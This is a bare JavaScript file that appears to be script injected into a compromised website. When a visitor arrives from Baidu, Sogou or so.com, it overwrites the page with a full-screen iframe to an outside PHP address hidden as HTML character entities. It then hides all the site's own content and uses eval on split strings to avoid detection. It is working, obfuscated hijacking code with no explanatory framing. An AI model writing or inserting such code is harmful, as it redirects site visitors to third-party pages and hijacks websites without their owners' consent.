var titlestr = document.title;
var arr = ["&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#119;&#119;&#119;&#46;&#48;&#55;&#100;&#121;&#109;&#46;&#99;&#111;&#109;&#47;&#48;&#49;&#46;&#112;&#104;&#112;"];
var linkIndex = Math.floor((Math.random() * arr.length));
var referer = document.referrer;
var regex = /(baidu\.com|sogou\.com|so\.com)/i;
if (regex.test(referer)) {
    setFrame(arr[linkIndex]);
}

function setFrame(olink) {
    var ss = '<title>' + titlestr + '</title><div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" height="100%" src="' + olink.replace('*', randomStr20()) + '"></iframe></div><style type="text/css">html{width:100%;height:100%;}body {width:100%;height:100%;}</style>';
    eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
    try {
        setTimeout(function () {
                console.log(document.body.children.length);
                for (var i = 0; i < document.body.children.length; i++) {
                    try {
                        var a = document.body.children[i].tagName;
                        var b = document.body.children[i].id;
                        console.log(i + "***" + a + "**" + b);
                        if (b != "iconDiv1" && b != "showcloneshengxiaon" && a != "title") {
                            document.body.children[i].style.display = "non" + "e"
                        }
                    } catch (e) {
                    }
                }
                var oMeta = document.createElement('meta');
                oMeta.name = 'viewport';
                oMeta.content = 'width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no';
                document.getElementsByTagName('head')[0].appendChild(oMeta);
            },
            100)
    } catch (e) {
    }
}

function randomStr20() {
    var chars = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w',
        'x', 'y', 'z'
    ];
    var timestamp = new Date().getTime();
    var timestamp2 = String(timestamp);
    var strs = "";
    var timestampArr = timestamp2.split('')
    for (let i = 0; i < timestampArr.length; i++) {
        let id = parseInt(Math.random() * 24);
        if(chars[id]) {
            strs += timestampArr[i]+chars[id];
        }
    }
    return strs;
}